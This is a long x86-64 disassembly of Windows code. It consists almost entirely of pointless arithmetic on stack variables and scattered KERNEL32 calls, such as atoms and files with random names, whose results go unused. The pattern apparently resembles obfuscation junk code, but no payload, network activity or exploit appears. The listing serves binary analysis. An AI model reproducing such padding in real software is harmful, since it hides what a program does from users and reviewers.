mov dword [rsp + 0x739c], eax
mov eax, dword [rsp + 0xa54c]
mov ecx, dword [rsp + 0x6f50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa400], eax
mov eax, dword [rsp + 0xa5b4]
mov ecx, dword [rsp + 0xa4fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa578], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xa780], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov ecx, dword [0x14028ed88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa044], eax
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x69e], al
movsx eax, word [rsp + 0x2c74]
movsx ecx, word [rsp + 0x1948]
sub eax, ecx
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2bb], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x147e0], rax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2d14]
or eax, ecx
mov word [0x140282704], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0xa42c]
mov ecx, dword [rsp + 0xa370]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c58]
shr eax, cl
mov dword [rsp + 0x976c], eax
movzx eax, byte [rsp + 0x68e]
mov byte [rsp + 0x69f], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
shl eax, cl
mov word [rsp + 0x2b80], ax
lea rax, [rsp + 0xa37c]
mov qword [rsp + 0x147e8], rax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa384], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64d8], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov byte [0x14028ed68], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [0x1402826d0]
sub eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa550]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a80], eax
mov rax, qword [rsp + 0x14260]
mov ecx, dword [0x140282710]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x642]
add eax, ecx
mov byte [rsp + 0x658], al
lea rax, [rsp + 0x2b5c]
mov qword [rsp + 0x147f0], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa3d8], eax
movzx eax, word [rsp + 0x2a0c]
movzx ecx, word [rsp + 0x1860]
add eax, ecx
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x6a0], al
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x695c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa710]
sub ecx, eax
mov eax, ecx
mov dword [0x1402826ac], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa5c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
lea rax, [rsp + 0x9d94]
mov qword [rsp + 0x147f8], rax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [0x1402826fc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa438], eax
movzx eax, word [rsp + 0x2cf4]
mov word [rsp + 0x2d3c], ax
movzx eax, byte [rsp + 0x69d]
movzx ecx, byte [rsp + 0x673]
sar eax, cl
mov byte [rsp + 0x65a], al
mov eax, dword [rsp + 0x9228]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x14800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14800]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x877c], eax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x7f44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa474], eax
mov eax, dword [0x14028ede0]
mov ecx, dword [rsp + 0xa6d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5f0], eax
mov rax, qword [rsp + 0x147c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67e0]
add ecx, eax
mov eax, ecx
mov dword [0x140282738], eax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov word [rsp + 0x2d40], ax
movzx eax, byte [rsp + 0x3ed]
movzx ecx, byte [0x140281db3]
sub eax, ecx
mov byte [rsp + 0x698], al
movzx eax, word [rsp + 0x2cd4]
mov word [rsp + 0x2d44], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x639], al
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0xa698]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7350], eax
movzx eax, word [rsp + 0x2d18]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2340], ax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
mov byte [rsp + 0x6a1], al
mov eax, dword [rsp + 0xa3bc]
mov ecx, dword [rsp + 0xa430]
sub ecx, eax
mov eax, ecx
mov dword [0x140282774], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa420]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5c0], eax
mov eax, dword [rsp + 0xa770]
movzx ecx, al
mov eax, dword [rsp + 0x8ea0]
sar eax, cl
mov dword [rsp + 0x763c], eax
mov eax, dword [rsp + 0x8c5c]
mov dword [rsp + 0xa788], eax
movzx eax, byte [rsp + 0x683]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x692], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov word [rsp + 0x2d48], ax
mov eax, dword [rsp + 0xa578]
mov ecx, dword [rsp + 0xa374]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa74c], eax
mov edx, 0x627c57
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa78c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x147e8]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x86f8], eax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa644]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282730], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa494]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x40b]
mov byte [rsp + 0x6a2], al
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
imul eax, eax, 0x1bb
mov word [rsp + 0x2cd4], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov byte [rsp + 0x6a3], al
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cdc], ax
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x779c], eax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa440], eax
movzx eax, word [rsp + 0x2680]
movzx ecx, word [rsp + 0x2c00]
sub eax, ecx
mov word [rsp + 0x2c68], ax
lea rax, [0x14028eea0]
mov qword [0x14028ed60], rax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov dword [rsp + 0xa790], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa40c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov dword [rsp + 0xa794], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa798], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
add eax, ecx
mov word [rsp + 0x2134], ax
movzx eax, byte [0x140281dba]
movzx ecx, byte [rsp + 0x398]
sub eax, ecx
mov byte [rsp + 0x4d6], al
mov eax, dword [rsp + 0xa5f0]
movzx ecx, al
mov eax, dword [rsp + 0xa558]
sar eax, cl
mov rcx, qword [rsp + 0x14768]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54c], eax
lea rax, [rsp + 0x2bf4]
mov qword [0x14028ed58], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x6a4], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c8c]
xor eax, ecx
mov rcx, qword [rsp + 0x14770]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0x6a5], al
mov eax, dword [rsp + 0x9dd8]
movzx ecx, al
mov eax, dword [rsp + 0xa564]
shl eax, cl
mov dword [rsp + 0xa73c], eax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f90], eax
mov rax, qword [rsp + 0x145b8]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9930], eax
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa578], eax
mov eax, dword [rsp + 0xa35c]
mov dword [rsp + 0xa79c], eax
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b30]
and eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x650]
add eax, ecx
mov byte [0x140281dcb], al
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov dword [rsp + 0xa7a0], eax
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa534], eax
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3f8], eax
mov eax, dword [rsp + 0x7684]
mov dword [rsp + 0xa7a4], eax
movzx eax, word [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b80], ax
lea rax, [rsp + 0x2cd]
mov qword [rsp + 0x14808], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x639], al
movsx eax, word [rsp + 0x2b7c]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2cd8], ax
mov eax, dword [rsp + 0xa370]
movzx ecx, al
mov eax, dword [rsp + 0xa5bc]
shr eax, cl
mov dword [0x140282778], eax
mov eax, dword [rsp + 0x94dc]
movzx ecx, al
mov eax, dword [rsp + 0x9a1c]
shl eax, cl
mov dword [rsp + 0x8fdc], eax
movzx eax, word [rsp + 0x1e20]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b94], ax
movzx eax, byte [0x14028ed70]
mov byte [rsp + 0x6a6], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5c0], eax
mov eax, dword [rsp + 0xa380]
mov dword [rsp + 0xa7a8], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x14768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6a8], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9580], eax
lea rax, [rsp + 0x650]
mov qword [rsp + 0x14810], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [0x1402826a0]
add eax, ecx
mov word [0x14028edc8], ax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [rsp + 0xa468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147e8]
mov ecx, dword [rsp + 0x779c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f90], eax
mov eax, dword [rsp + 0x7ae8]
mov ecx, dword [rsp + 0x7f7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6984], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x142d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa718], eax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov dword [rsp + 0xa7ac], eax
movsx eax, word [rsp + 0x20f4]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf4], ax
movzx eax, byte [rsp + 0x553]
mov byte [rsp + 0x6a7], al
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov byte [rsp + 0x685], al
mov rcx, qword [rsp + 0x14558]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa78c], eax
lea rcx, str.RoH1m0dEV7gw_US6vTGT_cI62R
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d4c], ax
movzx eax, word [rsp + 0x2d1c]
mov word [0x14028ed50], ax
mov rax, qword [rsp + 0x142b8]
mov rcx, qword [rsp + 0x14618]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa624], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [0x140282744]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x66e8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [rsp + 0x5e9]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x668], al
movzx eax, word [rsp + 0x1f4c]
mov word [rsp + 0x2d50], ax
mov eax, dword [rsp + 0xa420]
mov rcx, qword [rsp + 0x147a8]
mov qword [rsp + 0x14818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14818]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [rsp + 0x14560]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa568], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa610], eax
lea rax, [rsp + 0x7ae8]
mov qword [rsp + 0x14820], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa618]
mov ecx, dword [rsp + 0xa420]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14028edf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x2d54], ax
mov rax, qword [0x14028ee70]
mov ecx, dword [rsp + 0xa0bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa574], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa338]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bf8], eax
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
movsx ecx, word [0x14028ee68]
sub eax, ecx
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x688], al
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x6a8], al
movzx eax, word [rsp + 0x2d14]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d3c], ax
mov eax, dword [rsp + 0xa59c]
mov dword [rsp + 0xa7b0], eax
mov eax, dword [rsp + 0xa644]
mov ecx, dword [rsp + 0x94dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa47c], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xa474]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa6e8], eax
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa7b4], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14768]
mov qword [rsp + 0x14828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14828]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa02c], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2cc0], ax
movzx eax, byte [rsp + 0x675]
mov byte [rsp + 0x6a9], al
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x147e8]
mov qword [rsp + 0x14830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14830]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa5e0], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa59c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa510], eax
lea rax, [rsp + 0xa4b8]
mov qword [rsp + 0x14838], rax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9774]
add ecx, eax
mov eax, ecx
mov dword [0x14028277c], eax
lea rdx, [rsp + 0xa6b8]
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa738], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa7b8], eax
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d18]
sub eax, ecx
mov word [rsp + 0x2ce8], ax
movzx eax, byte [rsp + 0x2bb]
mov byte [rsp + 0x6aa], al
movzx ecx, word [rsp + 0x2d4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
movsx eax, byte [0x140281dce]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x647], al
movsx eax, word [rsp + 0x2d30]
movsx ecx, word [rsp + 0x2c78]
sub eax, ecx
mov word [rsp + 0x2cbc], ax
lea rax, [rsp + 0xa4f4]
mov qword [rsp + 0x14840], rax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [0x14028ed74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa448], eax
movzx eax, byte [rsp + 0x46c]
mov byte [rsp + 0x6ab], al
movzx eax, word [rsp + 0x2cb4]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x159c], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa68c], eax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282780], eax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x14578]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ba4], eax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [0x1402826c4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa464], eax
mov eax, dword [rsp + 0xa6ec]
movzx ecx, al
mov eax, dword [rsp + 0xa4c8]
shl eax, cl
mov dword [rsp + 0x70cc], eax
movzx eax, word [rsp + 0x2c9c]
mov word [rsp + 0x2d58], ax
movzx eax, byte [rsp + 0x6a5]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x251], al
mov eax, dword [rsp + 0x9f14]
mov dword [rsp + 0xa7bc], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa7b4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.AJ3oqdVmjFe08KrYhaeJSXL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14848], rax
mov eax, dword [rsp + 0xa3d4]
movzx ecx, al
mov eax, dword [rsp + 0xa264]
sar eax, cl
mov dword [rsp + 0xa6f8], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [0x1402826f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa160], eax
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0x7ae8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14720]
mov ecx, dword [0x14028276c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8c34], eax
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d0c], ax
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x6ac], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b38], ax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6aa], al
mov eax, dword [rsp + 0xa4ac]
mov dword [rsp + 0xa7c0], eax
mov eax, dword [0x140282728]
mov ecx, dword [rsp + 0xa374]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402826f8], ax
mov eax, dword [rsp + 0xa728]
mov ecx, dword [rsp + 0x695c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa388], eax
mov eax, dword [rsp + 0xa434]
mov dword [rsp + 0xa7c4], eax
mov eax, dword [rsp + 0xa75c]
mov rcx, qword [rsp + 0x14420]
mov qword [rsp + 0x14850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14850]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa42c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x6ad], al
movzx eax, word [rsp + 0x2c64]
movzx ecx, word [0x14028274c]
xor eax, ecx
mov word [rsp + 0x2c94], ax
lea rax, [rsp + 0xa5f4]
mov qword [rsp + 0x14858], rax
mov eax, dword [rsp + 0xa56c]
mov rcx, qword [rsp + 0x144d8]
mov qword [rsp + 0x14860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa654], eax
movzx eax, byte [rsp + 0x69e]
mov byte [0x14028ed4e], al
mov rax, qword [0x14028ede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d30]
sub eax, ecx
mov word [rsp + 0x2c84], ax
lea rax, [rsp + 0x659]
mov qword [rsp + 0x14868], rax
movzx eax, word [rsp + 0x2cf0]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f10], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa3ec], eax
movzx ecx, word [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa7c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74b0], eax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0xa3b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x143a8]
mov dword [rcx], eax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov byte [rsp + 0x6ae], al
movzx eax, word [rsp + 0x2b20]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282784], ax
mov rax, qword [rsp + 0x14840]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c5c], eax
mov edx, 0xae5ec
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa7cc], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xa7d0], eax
